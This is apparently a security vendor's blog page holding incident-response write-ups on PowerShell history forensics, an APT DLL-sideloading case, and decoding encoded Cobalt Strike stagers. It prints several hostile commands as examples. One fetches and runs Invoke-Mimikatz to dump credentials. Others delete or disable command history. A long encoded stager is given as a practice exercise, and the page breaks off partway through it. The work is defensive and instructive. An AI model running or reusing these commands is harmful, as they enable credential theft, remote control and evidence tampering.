Blog

Information regarding HAFNIUM

2021-03-12T09:00:00Z

On March 2nd, zero-day vulnerabilities affecting Microsoft Exchange were publicly disclosed. These vulnerabilities are being actively exploited in the wild by HAFNIUM, a threat actor believed to be a nation state. Sophos customers are protected ...(read more)

Scheduled maintenance for SophosLabs Intelix (US region) - January, 16th 2021 @ 0900 UTC

2021-01-04T12:00:00Z

SophosLabs will be performing scheduled maintenance for two hours starting January, 16th 2021 from 0900 UTC. Date / Time Saturday 16th January 0900 – 1100 (UTC) Systems affected US static and dynamic analysis environment (only) During th...(read more)

Scheduled Maintenance for Intelix

2020-12-04T17:21:00Z

Scheduled maintenance for SophosLabs Intelix (EU region) SophosLabs will be performing scheduled maintenance for two hours starting December 6th, 2020 from 0000 – 0200 UTC. During this time there may be disruption to getting status (4xx or 5xx)...(read more)

PowerShell Command History Forensics

2020-08-26T11:39:00Z

Overview

PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code.

PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.

We have a separate blog which touches certain aspects of a malicious PowerShell script here - Decoding Malicious PowerShell Activity - A Case Study - Blog - Malware Questions - Sophos Community

A number of PowerShell-based offensive testing tools are available, including Empire, PowerSploit, PoshC2, and PSAttack.

PowerShell and Windows Events

With Sophos EDR, you can use “PowerShell events suspected of using encoded or encrypted data” Live Discover Query. It outputs a list PowerShell processes and script block events that are suspected of using encoded or encrypted data.

On the host side of forensics, there are 3 places where we look for signs of suspicious PowerShell script or command execution whether it’s local or remote:

Application Event Logs

Event ID 7045: Adversaries often attempt to register backdoors as Windows Services as a persistence mechanism i.e. survive reboots.

Windows PowerShell.evtx

Event ID 400: The engine status is changed from None to Available. This event indicates the start of a PowerShell activity, whether local or remote.

The field ‘HostApplication’ might display the encoded bits used such as:

HostApplication=powershell.exe -EncodedCommand VwByAGkAdABlAC0ASABvAHMAdAAgAC0ATwBiAGoAZQBjAHQAIAAiAEgAZQBsAGwAbwAsACAAdwBvAHIAbA BkACEAIgA7AA==

Event ID 600: indicates that providers such as WSMan start to perform a PowerShell activity on the system, for example, “Provider WSMan Is Started”.
Event ID 403: The engine status is changed from Available to Stopped. This event records the completion of a PowerShell activity.

Microsoft-Windows-PowerShell/Operational.evtx

NOTE: This is not applicable for PowerShell 2.0

Event ID 4103: Module Logging is disabled by default. If enabled, it will record portions of scripts, some de-obfuscated code, and some data formatted for output.
Event ID 4104: Script Block Logging is enabled by default. It records blocks of code as they are executed by the PowerShell engine, thereby capturing the full contents of code executed by an attacker, including scripts and commands.

There’s a fourth place where we can potentially look from a forensics’ perspective. If commands are carried out on a PowerShell console, a session history i.e. list of commands entered during the current session is saved. On PowerShell versions < 5, a session specific history can be identified using the Get-History command. The list is lost if the session is closed.

Get-History

The Get-History cmdlet gets the session history, that is, the list of commands entered during the current session. Beginning in Windows PowerShell 3.0, the default value is 4096.

PS C:\WINDOWS\system32> Get-History

Id CommandLine

-- -----------

1 (Get-PSReadlineOption).HistorySavePath

2 ping localhost

3 Test-Path ((Get-PSReadlineOption).HistorySavePath)

4 Get-History

5 powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"

6 whoami

Console History File

The PSReadline module is installed and enabled by default starting from PowerShell v5 on Windows 10 onward. It is responsible for recording what is typed into the console. The default option is to save history to a file.

NOTE: PSReadLine is not included in the separately installed PowerShell 5 for previous versions of Windows. Thus, if you want to use the PowerShell command history functionality you will need to install the PSReadLine module separately.

The default location of this file:

$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

PSReadLine requires PowerShell 3.0, or newer, and the console host. It does not work in PowerShell ISE.

A sample output:

Adversarial Tactics

Attackers have been seen to delete forensic artifacts in the form of Windows Event Logs to cover their tracks. They may also clear the command history of a compromised account to conceal the commands executed during/after a successful intrusion. We’ll discuss some of the possible tactics in detail.

Clear-History

By default, Clear-History deletes the entire command history from a PowerShell session but it does not delete/flush the PSReadLine command history file on the disk. This tactic would be useful for attackers on PowerShell versions <5 on Windows 7 / 8.1 / Windows Server 2008 / R2 / 2012R2 as there is no physical file containing the command history.

Backup/Restore History

Backup the existing file with a view to restore it after. e.g.

rename-item -path $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt -newname ConsoleHost_history_before.txt

If they use PowerShell to perform this activity will result in this action to be logged.

Delete History File

The adversary could delete the history file from the PowerShell prompt at the end of a session:

remove-item -force -path $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

Change PSReadline Configuration

An adversary may change the default behaviour of the PSReadline configuration and prevent the history of commands being recorded.

Set-PSReadlineOption -HistorySaveStyle SaveNothing

They could possibly re-enable it afterwards,

Set-PSReadlineOption -HistorySaveStyle SaveIncrementally

The act of changing the style of event history from a PS prompt would be logged. The presence of these commands in the history would be a red flag. It may sound like an over-kill but for the sake of completeness, it’s worthy of a mention.

Investigation Tips

If you happen to stumble upon a rich ConsoleHost_history.txt like the one below, you’re in luck.

If the last command(s) executed are surprisingly less or include:

Set-PSReadlineOption -HistorySaveStyle SaveIncrementally

$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt -newname ConsoleHost_history_before.txt

Clear-History

ConsoleHost_history.txt is not present on a machine.

It could mean that the history or the file it-self has been tampered with.

These Indicator of Compromise [IOCs] could help us identify what might have happened:

If the file was tampered with, we would like to identify if a non-PowerShell process such as Command Prompt or Windows Explorer was used to modify/delete the history file.
The “Creation Time” of ConsoleHost_history.txt is fairly recent. This could indicate that the attacker deleted the previous file and it has been automatically generated when PowerShell was executed again.
If we recorded any process related detail which had the following command-line:

-HistorySaveStyle SaveNothin

The following Live Discover Query could be used prior to the investigation of the actual ConsoleHost_history.txt file if you suspect any modification/deletion:

select CAST( datetime(sfj.time,'unixepoch') AS TEXT) DATE_TIME,
sfj.subject,
CAST( datetime(sfj.creationtime,'unixepoch') AS TEXT) CREATION_DATE_TIME,
sfj.pathname,
spj.cmdline,
spj.sid
from sophos_file_journal sfj join sophos_process_journal spj on spj.sophosPID = sfj.sophosPID
where sfj.pathname like '%ConsoleHost_history.txt' and spj.cmdline not like '%powershell%';

If the file has been deleted by Explorer.exe, the output should be similar to:

Malicious DNS Queries by APT - A Case Study

2020-05-08T10:37:00Z

Hello Everyone,

Ever got any malicious URLs? Couldn’t figure out what’s going on?

This email documents suspicious DNS query attempts which were allegedly malicious according to an Advisory shared by the Australian Government.

Background:

The Australian Govt. shared an advisory with a customer which has a very competent team of IT security experts.

The only SHA value mentioned in their advisory was a DLL which basically tried to download additional code from one or more C2s, allegedly the shellcode for Meterpreter so that it can establish a connection back with the attackers to further instruct the listener to carry out additional instructions. The URLs were all down and we could never lay hands on the listed DLL which was not present on the machine exhibiting suspicious behaviour.

But the customer’s network appliances were seeing a several machines trying to resolve some of the above listed URLs. Although the URLs were down, this sparked a curiosity for the customer to find out the root cause of these requests.

At first I wasn’t entirely convinced that the DNS queries are actually happening. But they were quite adamant and got me proof in the form of a live packet capture.

17:39:39.350792 PortA, IN: IP 172.16.100.253.25507 > 8.8.8.8.53: 23201+ A? sql.juliettemeier[.]com. (39)

17:39:39.398681 PortA, OUT: IP 8.8.8.8.53 > 172.16.100.253.25507: 23201 ServFail 0/0/0 (39)

17:39:39.582570 PortA, IN: IP 172.16.100.253.6967 > 8.8.4.4.53: 22044+ A? api.valentineharper[.]com. (41)

17:39:39.631429 PortA, OUT: IP 8.8.4.4.53 > 172.16.100.253.6967: 22044 ServFail 0/0/0 (41)

and logs from their DNS server -

2019-07-05 10:56:17 query (127.0.0.1 udp) api.valentineharper[.]com IN A

2019-07-05 10:56:17 local api.valentineharper[.]com 3600 IN A 127.0.0.1

Investigation:

Malware Avengers, assemble –

Autoruns – I couldn’t spot any suspicious malware load-points under Run Keys, Scheduled Tasks or WMI.
Process Monitor – Surprisingly, this tool did not help me with the process which was sending out the UDP REQUEST packets for a DNS resolution of the malicious URLs in question.
Wireshark – This tool is process agnostic, hence I could only see and confirm the attempts of reaching out to the URLs in question.
Sysmon – The latest DNS logging feature in v10 of this tool wasn’t applicable for Windows 7.. drat.
Netmon – Same story as Wireshark – Ideally, we should’ve been able to identify the process behind the DNS requests but I’m suspecting the resolution failure to be a cause of incomplete logging.

The machine was protected with Sophos Enterprise Console which has been deemed obsolete and we are advising customers to migrate towards Sophos Central.

So the constant to and fro of these logs and evidences were not getting us anywhere. Desperation kicked in and I decided to do what we call Deep Dive IR/Threat Hunting. This is not a general course of action but as the advisory was shared by the AU government themselves for the Automotive Industry coupled with the fact that this customer is an automotive firm, I decided to go at this malware all guns blazing.

But those URLs were down DNS resolution was failing. The active malware was cleverly hiding itself and attempting to contact certain URLs but they were down. I decided to respond to these requests using Imaginary C2. This tool has been developed by one of our brilliant Labs Researchers. [https://github.com/felixweyne]

“Imaginary C2 is a python tool which aims to help in the behavioral (network) analysis of malware. Imaginary C2 hosts a HTTP server which captures HTTP requests towards selectively chosen domains/IPs. Additionally, the tool aims to make it easy to replay captured Command-and-Control responses/served payloads.”

As soon as there was an active exchange of network traffic between the Client and a known malicious server, Sophos immediately gave us a lead.

But it seemed to be a dead-end. Whaaaa.. A Digitally Signed Executable by Adobe having Zero detections on VirusTotal!

Cross-referencing the AV logs at C:\ProgramData\Sophos Anti-Virus\Logs\SAV.TXT for more clues,

20190807 162345 File "C:\program files (x86)\microsoft cdo for windows library\cdosys.exe" belongs to virus/spyware 'C2/Generic-B'. Threat ID: 1175017554. No action taken.

20190807 162354 File "C:\program files (x86)\microsoft cdo for windows library\cdosys.exe" belongs to virus/spyware 'C2/Generic-B'.

20190807 162354 Virus/spyware 'C2/Generic-B' is not removable.

Upon checking Threat ID, I could confirm that it was pointing to a C2 server and confirms the URL.

For geeks, this is how debug HIPS logs look during the simulated successful C2 communication [One of the malicious URLs listed in the advisory]-

20190807 052144 RSDEBUG: L"ProcessPath: \\device\\harddiskvolume2\\program files (x86)\\microsoft cdo for windows library\\cdosys.exe"

20190807 052144 RSDEBUG: L"SNTP PassedPath: \\device\\harddiskvolume2\\program files (x86)\\microsoft cdo for windows library\\cdosys.exe"

20190807 052144 RSDEBUG: L"PID: \x001c\x000b\x0000\x0000"

20190807 052144 RSDEBUG: L"TID: 6668"

20190807 052144 RSDEBUG: L"URL: http[://]rest[.]ernestlabrie[.]com/Ihuel-Kobu-Anhud-Avesi-Vhuje-27003"

20190807 052144 RSDEBUG: L"Labs URI ID: nil"

20190807 052144 RSDEBUG: L"LocalAddress: 192.168.30.175"

20190807 052144 RSDEBUG: L"LocalPort: 53383"

20190807 052144 RSDEBUG: L"RemoteAddress: 192.168.30.10" //My dummy C2 Server

20190807 052144 RSDEBUG: L"RemotePort: 80"

20190807 052144 RSDEBUG: L"Protocol: 6"

20190807 052144 RSDEBUG: L"Threat name: nil"

20190807 052144 RSDEBUG: L"Risk level: nil"

20190807 052144 RSDEBUG: L"Universal Category: nil"

20190807 052144 RSDEBUG: L"Detailed Category: nil"

20190807 052144 RSDEBUG: L"Headers: POST /Ihuel-Kobu-Anhud-Avesi-Vhuje-27003 HTTP/1.1\x000d\x000aUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; Media Center PC 6.0)\x000d\x000aHost: rest[.]ernestlabrie[.]com\x000d\x000aContent-Length: 24\x000d\x000aConnection: Keep-Alive\x000d\x000aCache-Control: no-cache\x000d\x000a\x000d\x000a"

Now that we have the executable file, let’s look closely at the Autoruns logs once again to find the persistence mechanism and -

Why would an Adobe signed executable have a Scheduled Task named “Microsoft CDO for Windows Library@cameron_hede”? Doesn’t make sense, right? To the advanced bad guys – it does. We Endearingly call them APT Groups, who prefer to keep a low profile to evade raising any red flags. But to our keen eyes, they stood out like a sore thumb..

Conclusion:

This peculiar technique has been termed as DLL-sideloading. We are suspecting this to be a Korplug RAT.

“The Korplug RAT is known to use this side-loading trick by abusing legitimate digitally signed executables and is a way to stay under the radar, since a trusted application with a valid signature among startup items is less likely to raise suspicion.”

“The two files figure in a tried-and-tested trick called ‘DLL side-loading’, which consists in co-opting a legitimate application’s library-loading process by planting a malicious DLLinside the same folder as the signed executable,” the ESET blog post explains. “This is a way to remain under the radar, since a trusted application with a valid signature is less likely to arouse suspicion.”

A complete analysis was performed by SophosLabs and our Product Teams which resulted in publishing signatures against the DLLs and .DB3 file. We also studied the technique to better the efficacy of our Intercept X.

A summary of all the files involved in this attack with their corresponding detection names –

Filename	SHA256	Sophos Detection Name
ACE.dll	c06267e143f43b0ed410d2bc71d07437a11ea9405f16e1d3d0dcdb9b997fe4c6	Mal/Generic-R
AGM.dll	e8ce7daed14b80a30c3627a51a31a3dcbf42c87b30e41b70c5a43a954e9e49cc	Mal/Generic-R
BIB.dll	104892fd802ab0cdbdc1fbbd1135fc8302291a0aeaac776e93004bcc567654f9	Mal/Generic-R
cdosys.db3	2d2f01f9acb11dd5442e4f46fbba6286ea498d4e939915c820dda58fef94bb5c	Troj/Inject - ELB
cdosys.exe	7744d4c0da090157809e65259fb2682e8149b3fcf64a055607ab04f0cb732ea6	NA [Safe]
CoolType.dll	3de736af2643c9d7a4a26d2eaaf9530272b7e5d622831062e4ab00a73de959d8	Mal/Generic-R
MSVCR80.dll	ae410f8e744adc14d69f1758b32c7338c947a582d766825a96521107e8b5cdf9	Mal/Generic-R

Any questions, feedback and (positive) criticism are welcome. A special thanks to Andrew O'Donnell.

Decoding Malicious PowerShell Activity - A Case Study

2020-02-14T07:56:00Z

IT Administrators and Security Specialists often run into a suspicious looking PowerShell command; sometimes they succeed in decoding them but often, they are reliant on researchers. This blog should serve as a guidance to identify the purpose of suspicious entries found in:

Scheduled Tasks
RUN Keys in the Registry
Static PowerShell Scripts
Proxy Logs if a Web Server is exploited for a Remote Code Execution

powershell.exe -EncodedCommand JABzAHIAdgBzAHkAcw..

Here’s an Autoruns export from a server which was exhibiting repeated Sophos HIPS detection at regular intervals. Upon checking the logs carefully, you can easily spot a bunch services with random characters as Service Name. This attribute of a Windows Service stands out which is of immediate interest!

There’s no reason for a service like this to be present on a Windows Server. As expected, an administrator is unwary of anything like this which confirms our suspicion of it being malicious in nature.

This tactic is called Living-Off-The-Land a.k.a LOLBins i.e. perform malicious activities without dropping any binary/executable/malware on the disk. Why? You know the answer – to avoid tripping any alarms because historically, static [file] based detection is how AVs have evolved. AVs cannot completely move away from this technique however we do keep adding more layers to protect and prevent end-user machines.

At this point you would need means to decode the long string of characters to find out the malware’s endgame. The extraaaaa looooong string of characters is what we call a Base64 Encoded Data.

“Base64 encoding schemes are commonly used to represent binary data in ASCII text. Any binary data is represented in text using only 64 characters from Ascii set. Base64 encoding is a process of converting binary data to an ASCII string format by converting that binary data into a 6-bit character representation. The Base64 method of encoding is used when binary data, such as images or video or malicious scripts/programs, is transmitted over systems that are designed to transmit data in a plain-text (ASCII) format.”

Here’s a quick Cheat Sheet of Base64 Encoding I’ve put together –

Base64 Code	Decoded	Description
JAB	$.	Variable Declaration (UTF-16)
TVq	MZ	MZ Header
SUVY	IEX	PowerShell Invoke Expression
SQBFAF	I.E.	PowerShell Invoke Expression (UTF-16)
SQBuAH	I.n.	PowerShell Invoke string (UTF-16) e.g. Invoke-MimiKatz
PAA	<.	Often used by Emotet [Malicious Document pulling down Emotet binary) (UTF-16)
aWV4	iex	PowerShell Invoke Expression
aQBlA	i.e.	PowerShell Invoke Expression (UTF-16)
dmFy	var	Variable Declaration
dgBhA	v.a.	Variable Declaration (UTF-16)
H4sIA		gzip magic bytes (0x1f8b)

The string JABz[..truncated..]IAagBwA= cin its most basic form is an onion. It has several layers to cleverly hide what it’s supposed to do in order to evade detection. But unlike an onion, it only has 3 Layers before we get to our Golden Egg. Let’s take a walk through each layer.

Layer 1 – Episode 1

This string can be decoded into a human readable form using CyberChef a free nifty tool which hosts a plethora of tools to encode/decode data. Aptly called, The Cyber Swiss Army Knife - a web app for encryption, encoding, compression and data analysis.

The output generated looks a bit cleaner now. It says –

$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("ANOTHER_LOONG_STRING_R_U_KIDDING_ME"));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

There are two takeaways from the above string –

We’ll again have to decode a Base64 String
I am seeing words like Compression/Decompress so maybe we’ll have to decompress the output of this string.

A visually appealing [read shamelessly copy/pasted from the Internet] screen snippet –

Layer 2 – Attack of Compression

Now, we only input the string H4sIAAAAA..[truncated]..GDQAA into CyberChef and apply these Recipes –

Layer 3 - The Last Beacon

I am no PowerShell expert and normally we don’t expect IT administrators to be one apart from the common day-to-day administrative tasks. Leafing through the script, there’s literally nothing that stands out to me from a Malware’s perspective. I can’t see a URL, IP, recognizable Port number or any dodgy looking function like func DoEvilStuff() or func DestroyTheResistance()

What I do see towards the end of the script, is another string of looong characters which might hold some answers –

[Byte[]]$var_code = [System.Convert]::FromBase64String("/OiJAAAAYInlMdJ..ENUFF_IS_ENUFF_I_QUIT..jEwOAA=")

Nevertheless, we’ve come too far just to quit. So let’s put that string back into CyberChef and apply the “From Base64” Recipe again –

The reason we didn’t get a cleaner looking output is because it’s not a script [PowerShell, Batch, JavaScript, Visual Basic Script etc.] but a shell-code. We have seen attackers embed etire PE [Portable Executable], DLL [Dynamic Link Library] files within the script. Back to topic, Wikipedia’s description:

“In hacking, a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. It is called "shellcode" because it typically starts a command shell from which the attacker can control the compromised machine, but any piece of code that performs a similar task can be called shellcode.”

Machine A – Bob the Attacker
Machine B – Alice the Victim

starts a command shell – In layman terms, Bob managed to execute a piece of malicious program on Machine B which gave him a pathway to control any/every aspect of it.

Possibilities-

Bob knew Alice loves cute pictures of dogs so he sent a disguised email with a malicious attachment which read “Have you ever seen a dog play a ukulele? Click here to see!” She clicks on it and Bob gets complete access of Alice’s machine without her knowing.
Bob knew Alice is running a very old Windows 7 machine. He exploited a vulnerability in Alice’s OS remotely using the EternalBlue exploit – without any user intervention.

After analyzing the shell-code, we found it to be a part of Cobalt Strike which is threat emulation software. This software helps in security assessments that replicate the tactics and techniques of an advanced adversary in a network. But threat actors often misuse this tool to perform attacks on businesses.

“Beacon is Cobalt Strike's payload to model advanced attackers. Use Beacon to egress[extract data or communicate back from] a network over HTTP, HTTPS, or DNS. You may also limit which hosts egress a network by controlling peer-to-peer Beacons over Windows named pipes. Beacon is flexible and supports asynchronous and interactive communication. Asynchronous communication is low and slow. Beacon will phone home, download its tasks, and go to sleep. Interactive communication happens in real-time.”

There will be times when the IP address isn’t visible using the normal decode process. The above example has been straight-forward however for the sake of demonstration, you may find a similar piece of code just after the shell-code snippet -

[Byte[]]$var_code = [System.Convert]::FromBase64String('38u[Redacted_Chracters_CMjIyMg')

for ($x = 0; $x -lt $var_code.Count; $x++) {

$var_code[$x] = $var_code[$x] -bxor 35

}

All you have to do is apply one extra recipe called XOR and you'll see a similar output as below -

You can also utilize a tool called ScDbg [Shell-dode Debug]

“scdbg is a shellcode analysis application built around the libemu emulation library. When run it will display to the user all of the Windows API the shellcode attempts to call.”

NOTE: As tempting as this may seem, do no save the Shell-code on a business or a production machine. The Endpoint Protection software might flag a detection.

Followed by –

NOTE: The IPs may differ in the demonstration as I wanted to cover 2 examples here i.e. with/without XOR in the malicious code.

If we were to go a little further over to the IDArk Side with the shell-code,

Success! We have the IP address as well as the Port to which the shell-code was calling out to for further instructions. In an active incident, the ability to quickly extract and pass this information on to a customer quickly makes a substantial difference. Now they can monitor/block this IP and the corresponding Port [as part of their Incident Response] to cut off attacker’s access to their assets.

Phew. All this fuss to execute a shell-code directly in memory because if it was dropped on a disk somewhere [packed with dependencies], an analyst would analyze and create signatures for it. Or someone would upload a copy on VirusTotal and the file will immediately be made public.

I want to end this Blog with a publicly available snippet [Courtesy: OD] can practice on. Imagine you found a Malicious Service named UigioaCuQxDqfwNx which had the following string as the service executable. If you're able to drill down on the C2 IP, please post it in a safe manner i.e. 192[.]168[.]0[.]100 in the comments!

%COMSPEC% /b /c start /b /min powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBLADEAWAA2ADMATwBpAFMAaABiAC8ASABQADgASwBQAHEAUgBLAEwAVQAyAEMAagA1AGcANABXADEATgAxAFYAVQBCAFEAUQBCAFQAZgB1AGEAawBVAGoAeABaAFIAbwBIAGsAMABLAE4ANgBaAC8ALwAwAGUAVQBIAE0AegBPADUAbgBkAHEAZABxADEAaQByAEsANwBPAGMALwBmAGUAZgBSAEIAUgBlAFIATwBKAGEARgB0AEUAQQBtAGIAaQBMAHEAYgBvAHoAQwB5AHMAVQBmAFYAQwA0AFYAYgBCAGcAdQBFACsAawByADkAVQBTAHgAcwBZAHMAOABnADIAWABHADIAZQBMAE0AUQBlAGYATgBEAGIATAB4AHAAcABoAG0AaQBLAEsATAArAEsAdAB3AG8AVwBxAGkANQBWAE8AawAyADAAYwBJADMARgA1AHUAeABnADYAcABVAHYAcwBrAEkAawBSAG0ASABxAEgAeAB6AFUANwBqAEoAagAyAEkAdgAwAGoAYgBvAHoAZABPAEkAbgBhAEEAMwBGADUARQB0AE4AaQBOAFEAVgBIAHIAcAArAEQANgBEAFgAYwAzADIAWAByADkAOAA2AGMAVgBoAGkARAB4AHkAMwB0AC8AMwBFAGUAbABFAEUAWABKADEAeAAwAFoAUgBxAFUAeAA5AG8AeABaAGIARgBLAEsANwBrAGIANQBEAEIAcQBIACsAbwBtADcAZgA3AHYAcwBPADEAagBYAG4AUQBwAGIAMgBOAEcATQBMAEQAbgBVADgATQAzAHMAbgBZAGsAUABMAFAATABoAFgAZgBjAGMAbQBwAGUASwBmAGYAeABiAEwATAAzAGUAMQAxADMAcwAyAGkARABVAG4ASwBoAFgAVgBOAEMATABJAHYAVABjAGQAcAAxAGkAbQB2AHAAYwB6AGgAZABQAFUAUgA2AFcAaQBaAEIAcwBoAGoAdgBDAEcAMwBDADkAcwByADEARwAvAG4AKwBYAFcAeQA3AG4AeAAwAHQAbgAyAFkAdgBuAGkAbQBlAFYAcgA0AE0AZQB2AG4AYwB5AGsAbgBuAGwASwBSAFYAZwBxAGcARQAzAG4AagBHAEcAeABTAHIAMQBrACsAbAA1AGUAWAA2AGsALwAzAHEAMgBaAHgAQgA2AHgAWABYAFEAdgBlAEEAUwBGADIARgBkAFIAbQBOAGcARwBpAHUANQA1AHoAVABNAGQATgBFAEUAYgBZAEMAdABHAEUARAA3AFAASwBwAGIAQgBpAEIAQwBSAE8AUABTAG8AcQB5ADMAQQBsACsAQQA5AEsAdAAxADYAcwBlAE4AVQBRAGUANwBMADcAOABwADkATABjAG4AbwBjAEEAWAAzAGQANQBsAEsASAA1AG0AQQBTAGkARgBoAHUAWAByAEoAaQBkACsAQgBRADgAcgB6ADUAaQB3AE8AMwBQAG4ASgArAGcALwBKAFYAWQBiAGYAVAB3AGwAVwBMAG4AdwB2AGYASgBLAHEASgBuAEsAUQBwAFIASAAwAFIAZwBEAGYARAA3AGwAYQB1AEwAbAA1AHkAWgBjAEkALwBDAGsAcABPAEwASgB6AHYAcQA4AFUAWABhAFUAawBNAEUASQBqAE8ARQB5AHoAYwBFADcARABHAEoAVgBmAC8ANABuAFAAVwBlADIAVgBNADYAcgArAFUAbABEAHQAeQBuAFgAaABPAFkAZgBuAGIATQBkAFgANgBtAFcATwBiAGYATwAxAGMARgBNAHUAWABMAEkAbgBPADMALwBUAFkAOQBzAHgAVQBaAGkAOQAvADMAVQAxAE0ARwBoAGoAZQA0AGgASgBQAGMAMgAxAGoAVwB2AEMAbAB6ADYATABHAGQAbwA0AEsATQBmAGoALwBrAG8AbQBnADUAMgBsADQAdQBVAEYATQBwAGsATABPAHMAVQBNADAASgBlAGYAMgBWAGoAWABKAHUAKwA4ADMAYgBOAHgASABRAFAAaQBIAG8ARgBWAGsAQgBMAGwASAA0ADAANQB4ADcAQgBVAEYARAB3AEoAdQBZAEQAZgBlAFEAOQBwAGUAcgB1AEIATQBrAE4AWAA2AGsAdABwAHAAVgBmAHQAMgBUADcATAA1AFoANgBqAFIAVgBHAFYAVQBtAEsAbwBjADYATgBLAHEAVQBoAHoAawBGAG0AbABPAGwANQBrAFgAMQA1ADEAWQBvAEwAegBaAGYARQBmAGMANgBYAFkASQBiAGEAaABSAGUAUQBxADcAcgBYADgAQwBhAFEAWAAxAFQAMwBzAFEAYwBYAEUAQgBrAFEAWABZAEoAaQBxAFAAagBKAHMAegBjAGwAUQBxAFYASwA4AGIAYQBKAHUAcQB0AHIAVwAxAFkAVABpAHAANQBqADAATgBNAGUAQgBrAGcATgBKAEMAYwBRAEUAVABqAEkAcwBWAEoATABsAFQARwBoAFcALwB6ADAALwB5AHYAYwBxAEkAbwBMAHIATwA4AGcARgA2AHIAdwBMAGMAWQA1AG0AUQBjACsANQBWAEYAUwBlAGIAcABxAEYAegBPAEoALwBNAFAAdABhAEoAKwBlAGkAeQBMAEMANgBnAHYAVABCAGEARQBnAEEAMQBjAEcAawBTAHMAMwB0AGsARQBCAGYASwAxAFoALwBTAHIAegAvAHoAYgB3AGYAVwA4AHcAUABaAHYAWgBDAGQAQQBsAGsASwBTAC8ARQBsADIANQBLAHMAbgBMAEoASwBZADMAcwBjAHYAbgA2AGoAbQBXAE8AWABFAGcAQQBOAFMANwBFAGIAbABlAEwAVQBLAHUAcAA1AG0AMgBzAFYARwB3ADgAeAA0AEcAUQBTAHIAdAB4AEsAKwB5AHoAQwBjAGMASABQAEQAdQBGAEoANABHAG4ARQBYAEMAcwBLAEEANABtAGYAbgBjAGkARwBtAHcAOABVAG4AaAA2AHMAQgBIAEcAegAwAHcAegBQAHMAUgBDAFAATwAzAFMARABZADQARwB1AGwAUABRAFoAegBkAEMATQBzAEsAcgBXAHUAdwAyAGEANgBZAHYASgBEAEsAYwBSAFUAOABCAEgAegBGAEMAdwBuAFQANABlAG8AQwA1AGwAbQBXADMATAAzAEwATwAvAEcAUAA5AFUATgBPAFgAQQB2AGUAawA5ADcAawBtAFAANAArADQAagBKADQAWABrAGkANABYADkATgBvAFkAMQBnADkAQwAwAHMATQBEADQASAB0AHUAKwBWADcAMwBZAEQAWQBSAE8AMgBpAGgAcABXAGcAYwBHAHUAUQBaAGEAZABZAHgASABjADQAcgBLAGwAMwByAHoAMQBOAFoAbgBMAE8AKwByAEgAcQBtAHEATgBmAEcAMwBFAEEAKwAxAFYAUAB3AEMAZgB4AFMARwAvAHkARQBOAHUARgBSAGoAMAA1AHQAZwBhAGQARwBPAHcAcgA0AHoARgAvAFUARgBRAFAARABHAHcAdwBFAGYAcABDAHEAagA1AFkAdABwAFAATABCAG8AQQBrAGQAaABDAGUAbgBvAGEAeABQAGEAZgBBAE0ALwBIAEkAVABNAEQAbQBxAHEAVABSAHAAdABzAHkAagBzAGUAUQBPAHgAbABJAFcAVQAzADQAbAA5ADAARgBIAEUAQwArAHMASgBpACsATAArAE4AagBaAEMAYQAyAFEAVQBWAFgAegBwAEUANgBQAE4AYgBXADIAZABoAEoAdABhAGIAUwA5AFEANgA1AGYATgBZADgASABjAHgAYQBOAEIAbABPAHkAYQBpAGkAYQAyADAAeABUAHIANgBVAEsATwArAEUAbwBHAGoANgBaAEwAdwBlAHQAVQBFAHQANwB2AG0AZwBqAHYAYgBzAGgAbQBkAHkAQgB1AEwAWQBHAGIAUgBiAFcATABEAG4AUwBxAGoAcABKAFQAZABEAHIAOABGAE4AbQBDAEgAcQA5AG4AaQBTAEIARAA5AG8AagB0ADkAcQBqAGgAagBKAGMAeQBDAGUAagAwAFIAVwBOAE4AQgBUAEEARAAyAFgAWQBzAGsASAAyAE0ANQBFAGEAYwBNADcAMAAxADQAOABtAE8AOQB1AHAANwBBAEcAYgBnAHMAWABpAHcAWABCAHAAdABaAGEAUAB3AFUAbgBoAG4AWgBvADkAcQB1AGwAeAB2AHoASwBQAGUANgAyAFEAKwBCADcAbQBtADcAWABBAHEAbABmAEEATwBkAFAAdgAxAEsAZgBtAGIASQBrAGQAdgBrAEkARwBEACsANQBzADEASAByAFUAMAAvAGoAQgBQAEQANwBJAHcAQgAwAFIAMQBuAG0AbwBLAGEANgAvAFEATAA0AHoAbwBqAGQAcwBxAE0AcgAxAEcAYgB1AGUATQBPADYAQQBuAGUAeAByAHkALwA1AFkAagBxAGUAYwBNADUAegBTADcAUgA3AFQAWABjAG4AcwBRAFIATABIADcASABFADAAbwB3AGQATABkAGMAOABwAGsANgAzAEYANgBGADQAMwBXAEYAdQBTAHgAawB5AGsAVgBhAGMAeABHAFUANQBuAHAAagBUAG4ATwBvAHkAKwBOAEIAaAB1AFQASwB2ADkAagB0AHkAWQB6AFgAdwArAGsANQBmAEwATwBGAHIATQBhAG4ARQBNADEAbAB1ADgATQBoAHIAbQAxAGgAagBqAGUASwBnAHEAegBiAGsAZgBjACsAcgB3AGEAUwBLADEAVgBpAHYATQBMAHEAeABIAFcAVwBtAHAANwBUADAAegBTAFoAKwBTAFcAcQBYAHQAdABKAGEASgB0AGwAbgB2ACsAOAA5AE4AT